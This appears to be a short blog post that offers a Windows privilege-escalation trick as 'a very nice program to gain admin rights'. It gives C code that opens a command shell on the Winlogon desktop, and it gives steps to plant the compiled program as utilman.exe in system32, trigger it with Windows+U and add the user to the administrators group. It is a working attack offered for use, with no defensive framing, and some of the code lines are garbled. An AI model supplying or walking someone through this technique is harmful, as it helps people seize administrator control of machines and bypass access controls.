A very nice program to gain admin rights in Windows.
You can compile the following example with Borland’s free C++ 5.5 compiler.
Download from http://www.borland.com/downloads/download_cbuilder.html
Code snippet:
----------------------
#include <stdio.h>-------------------------
#include <windows.h>
#include <tchar.h>
void _tmain(void)
{
STARTUPINFO s;
PROCESS_INFORMATION p;
LPTSTR szCmdline = _tcsdup(TEXT("CMD"));
LPTSTR szDesktop = _tcsdup(TEXT("WinSta0\\\\Winlogon"));
ZeroMemory(&s, sizeof(s));
s.cb = sizeof(s);
s.lpDesktop = szDesktop;
ZeroMemory(&p, sizeof(p));
CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &s, &p);
CloseHandle(p.hProcess);
CloseHandle(p.hThread);
}
1. Compile this simple C program, name it utilman.exe and put it in the system32 directory.
2. Press the magic key sequence (Windows Logo key & U key) immediately after copying. A command shell will open on the Winlogon desktop.
3. Press ctrl-alt-del to see the shell.
4. Type in shell: net localgroup administrators yourname /add
You will see "Command completed successfully" and gain administrator rights for your pc.
No comments:
Post a Comment